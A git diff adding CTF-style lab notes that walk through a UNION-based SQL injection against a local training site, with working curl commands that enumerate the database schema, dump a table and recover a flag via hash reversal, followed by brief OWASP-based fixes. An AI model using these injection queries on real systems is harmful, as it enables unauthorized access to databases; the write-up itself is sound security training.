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diff --git a/SQL injection 2/Resources/notes.md b/SQL injection 2/Resources/notes.md new file mode 100644 index 0000000..282802f --- /dev/null +++ b/SQL injection 2/Resources/notes.md @@ -0,0 +1,28 @@ +## Exploit + +1. See **SQL injection 1**. We do the same recon, but we explore other tables than `users`. +1. This query, meant to explore the columns of the table `list_images`, does not output anything because it's not in the same table as the original query + ```bash + curl --silent --get 'http://10.0.2.15/index.php?page=member&Submit=Submit' --data-urlencode "id=5 UNION SELECT title,comment FROM list_images" | sed 's/<pre>\ + /g' | grep --only-matching "First name:.*"` + ``` +1. We use an extra query to find the schema to which the `list_images` table belongs + ```bash + curl --silent --get 'http://10.0.2.15/index.php?page=member&Submit=Submit' --data-urlencode "id=5 UNION SELECT table_schema,table_name FROM information_schema.columns" | sed 's/<pre>/\ + /g' | grep --only-matching ".*list_images.*" + ``` +1. From the following query we find a clue (similarly to **SQL injection 1**) + ```bash + curl --silent --get 'http://10.0.2.15/index.php?page=member&Submit=Submit' --data-urlencode "id=5 UNION SELECT title,comment FROM Member_images.list_images" | sed 's/<pre>/\ + /g' | grep --only-matching "First name:.*" + … + First name: Hack me ?<br>Surname : If you read this just use this md5 decode lowercase then sha256 to win this flag ! : 1928e8083cf461a51303633093573c46</pre><table width=50%> + ``` +1. `1928e8083cf461a51303633093573c46` reverse md5 lookup → `albatroz` → `echo -n albatroz | sha256sum` + +## Fix + +[https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection]() + +- Don't show SQL errors on the front-end because it gives attackers clues about the database and the queries that can be used to exploit them +- Don't include untrusted, unfiltered and/or unsanitized input into a SQL query |